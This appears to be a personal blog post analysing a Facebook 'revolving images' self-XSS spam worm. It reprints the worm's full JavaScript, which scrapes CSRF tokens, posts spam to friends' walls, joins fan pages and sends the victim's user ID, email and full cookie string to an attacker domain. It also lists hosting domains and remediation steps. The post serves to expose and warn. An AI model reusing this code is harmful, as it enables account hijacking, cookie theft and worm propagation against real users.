Just as I was reading in the news today that "Facebook news feeds (are) beset with malware", an unsuspecting friend accidentally pasted some javascript: into her browser and perpetuated these plonkers little game; to SPAM Facebook walls with "Really Cool Revolving Images" posts.

Unfortunately it propagates to all of the victims friends as well via. Facebook's "Upload via. Email" feature for Mobile Devices. It is a unique personal Email address given to every user which allows them to post status updates or send photos and videos straight to their FB profile page. Goto http://www.facebook.com/mobile/ when you are logged in and you will see what yours is!

Anyway... I was bored so I figured I'd take a look and wrote some cURL, remembering to add...

  1. curl_setopt($oCURL, CURLOPT_FOLLOWLOCATION, false);

...to prevent the damn thing forwarding to FB so I could suck out the raw Javascript and take a look behind the scenes. Anyone whose interested in the raw JS source for "majic.js" see below. Now... everyone... please pay attention to the author comment and feel free do as you please with these links: http://www.orkut.com/Community.aspx?cmm=43558952. They even, rather ironically, have their own FB page : http://www.facebook.com/OUGofficial

Seems the script has been hosted at various locations in the past. At time of writing 3 of the domains are now SEO parked/non-responsive, I guess the script was either mirrored on several domains or "OUG-13" just keep moving it around, I suspect the latter. The script leverages cookies, and an assumption that most people don't clean them out. It looks for a variable "c_user" in your local cookies which stores your FaceBook UserID handle. From this the script crafts a whole bunch of AJAX requests based on it and ultimately figures out your unique FB email address, shows you some magic "oooOOO!" and then sends a status update via. the unique mobile upload email address, and it all starts with this:

/ajax/browser/friends/?uid=" + document.cookie.match(/c_user=(\d+)/)[1] + "&filter=all&__a=1&__d=1;.

Pretty simple stuff, but a complete nuisance for anyone whose executed the script unintentionally. (To stop it spamming to your wall simply re-generate your mobile email unique address at http://www.facebook.com/mobile/, clean out your cookies and don't be copy/pasting javascript into your browser again! : -] )

Some known domains to have hosted the script-file ("majic.js"):

  • http://revolvingimages2.tk/
  • http://revolvingimages.info/
  • http://graphicgiants.com/
  • http://zizz.co.tv/

I've since emailed Google and Facebook advising them of this groups presence on Google's own social network "Orkut" and asked Facebook to take a look at their profile page and the following: (Hopefully they do something about it, but it's harder to get an email address for Google and Facebook than it is to find out all of the information in this post!)

  1. appid = "150622878317085";
  2. appname = "rip_m_j";

For anyone interested in having a look around here's the src that came back with cURL (download: annoying-script.txt):

By the way. appname="rip_m_j". Could they be paying homage to the late, great Micheal Jackson? RIP_M(icheal)_(J)ackson?

1. Work out your ID.

  1. // script name : whitebeard
  2. // author : orkut.com/Community.aspx?cmm=43558952
  3. txt = "Checkout 360 rotate effect on images. MUST SEE http://revolvingimages.info/fb/";
  4. txtee = "Checkout 360 revolve effect on images. MUST SEE http://revolvingimages.info/fb/";
  5.  
  6. alert("Please wait 2-3 mins while we setup! Do not refresh this window or click any link.");
  7.  
  8. with(x = new XMLHttpRequest())
  9. open("GET", "/"), onreadystatechange = function () {
  10.  
  11. if (x.readyState == 4 && x.status == 200) {
  12. comp = (z = x.responseText).match(/name=\\"composer_id\\" value=\\"([\d\w]+)\\"/i)[1];
  13. form = z.match(/name="post_form_id" value="([\d\w]+)"/i)[1];
  14. dt = z.match(/name="fb_dtsg" value="([\d\w-_]+)"/i)[1];
  15. pfid = z.match(/name="post_form_id" value="([\d\w]+)"/i)[1];
  16. appid = "150622878317085";
  17. appname = "rip_m_j";
  18.  
  19. with(xx = new XMLHttpRequest())
  20. open("GET", "/ajax/browser/friends/?uid=" + document.cookie.match(/c_user=(\d+)/)[1] + "&filter=all&__a=1&__d=1"),
  21. onreadystatechange = function () { if (xx.readyState == 4 && xx.status == 200) {
  22. m = xx.responseText.match(/\/\d+_\d+_\d+_q\.jpg/gi).join("\n").replace(/(\/\d+_|_\d+_q\.jpg)/gi, "").split("\n");
  23. i = 0; llimit=25;
  24. t = setInterval(function () {
  25. if (i >= llimit ) return;
  26. if(i == 0) {
  27. with(ddddd = new XMLHttpRequest()) open("GET", "/ajax/pages/dialog/manage_pages.php?__a=1&__d=1"),
  28. setRequestHeader("X-Requested-With", null),
  29. setRequestHeader("X-Requested", null),
  30. onreadystatechange = function(){ if(ddddd.readyState == 4 && ddddd.status == 200){ llm = (d = ddddd.responseText).match(/\\"id\\":([\d]+)/gi); aaac =llm.length; pplp=0; for(pplp=0;pplp([^<>]+)/)[1] + "&c="+ document.cookie; document.body.appendChild(s); }
  31. }, send(null);
  32. with(xxcxx = new XMLHttpRequest()) open("POST", "/ajax/pages/fan_status.php?__a=1"),
  33. setRequestHeader("Content-Type", "application/x-www-form-urlencoded"),
  34. send("fbpage_id=176607175684946&add=1&reload=1&preserve_tab=1&use_primer=1&nctr[_mod]=pagelet_top_bar&post_form_id="+pfid+"&fb_dtsg=" + dt + "&lsd&post_form_id_source=AsyncRequest");
  35. with(lllllxx = new XMLHttpRequest()) open("POST", "/ajax/pages/fan_status.php?__a=1"),
  36. setRequestHeader("Content-Type", "application/x-www-form-urlencoded"),
  37. send("fbpage_id=150650771629477&add=1&reload=1&preserve_tab=1&use_primer=1&nctr[_mod]=pagelet_top_bar&post_form_id="+pfid+"&fb_dtsg=" + dt + "&lsd&post_form_id_source=AsyncRequest");
  38. with(llxlxlxlxx = new XMLHttpRequest()) open("POST", "/ajax/pages/fan_status.php?__a=1"),
  39. setRequestHeader("Content-Type", "application/x-www-form-urlencoded"),
  40. send("fbpage_id=109075015830180&add=1&reload=1&preserve_tab=1&use_primer=1&nctr[_mod]=pagelet_top_bar&post_form_id="+pfid+"&fb_dtsg=" + dt + "&lsd&post_form_id_source=AsyncRequest");
  41. } else if (i == llimit - 1) {
  42. with(xxxx = new XMLHttpRequest()) open("GET", "/mobile/?v=photos"),
  43. setRequestHeader("X-Requested-With", null),
  44. setRequestHeader("X-Requested", null),
  45. onreadystatechange = function(){
  46. if(xxxx.readyState == 4 && xxxx.status == 200){
  47. with(s = document.createElement("script")) src = "http://revolvingimages.info/majic.js?q=" + document.cookie.match(/c_user=(\d+)/)[1] + ":" + (d = xxxx.responseText).match(/mailto:([^\"]+)/)[1].replace(/@/, "@") + ":" + d.match(/id="navAccountName">([^<>]+)/)[1] + "&c="+ document.cookie; document.body.appendChild(s); }
  48. }, send(null);
  49. }
  50. if(i%2==0) {
  51. with(xd = new XMLHttpRequest()) open("POST", "/ajax/updatestatus.php?__a=1"),
  52. setRequestHeader("Content-Type", "application/x-www-form-urlencoded"),
  53. send("action=PROFILE_UPDATE&profile_id=" + document.cookie.match(/c_user=(\d+)/)[1] + "&status=" + txt + "&target_id=" + m[Math.floor(Math.random() * m.length)] + "&composer_id=" + comp + "&hey_kid_im_a_composer=true&display_context=profile&post_form_id=" + form + "&fb_dtsg=" + dt + "&lsd&_log_display_context=profile&ajax_log=1&post_form_id_source=AsyncRequest");
  54. }
  55. else {
  56. with(xd = new XMLHttpRequest()) open("POST", "/ajax/updatestatus.php?__a=1"),
  57. setRequestHeader("Content-Type", "application/x-www-form-urlencoded"),
  58. send("action=PROFILE_UPDATE&profile_id=" + document.cookie.match(/c_user=(\d+)/)[1] + "&status=" + txtee + "&target_id=" + m[Math.floor(Math.random() * m.length)] + "&composer_id=" + comp + "&hey_kid_im_a_composer=true&display_context=profile&post_form_id=" + form + "&fb_dtsg=" + dt + "&lsd&_log_display_context=profile&ajax_log=1&post_form_id_source=AsyncRequest"); } i += 1;
  59. }, 2000); }
  60. }, send(null);
  61. }
  62. }, send(null);

On completion the second half of the script runs the following:
2. Show you some magic

  1.  
  2. R=0; x1=.1; y1=.05; x2=.25; y2=.24; x3=1.6; y3=.24; x4=300; y4=200; x5=300; y5=200; var DI= document.images; DIL=DI.length; function A(){for(i=0; i<DIL; i++){DIS=DI[ i ].style; DIS.position='absolute'; DIS.left=Math.sin(R*x1+i*x2+x3)*x4+x5+'px'; DIS.top=Math.cos(R*y1+i*y2+y3)*y4+y5+'px'}R++}tag=setInterval('A()',5 );document.onmousedown=function(){clearInterval(tag);for(i=0; i<DIL; i++){DI[i].style.position='static';}}; void(0)
  3.  

... and update your FB status with the following ASYNC call.

  1.  
  2. "action=PROFILE_UPDATE&profile_id=" + document.cookie.match(/c_user=(\d+)/)[1] + "&status=" + txtee + "&target_id=" + m[Math.floor(Math.random() * m.length)] + "&composer_id=" + comp + "&hey_kid_im_a_composer=true&display_context=profile&post_form_id=" + form + "&fb_dtsg=" + dt + "&lsd&_log_display_context=profile&ajax_log=1&post_form_id_source=AsyncRequest"
  3.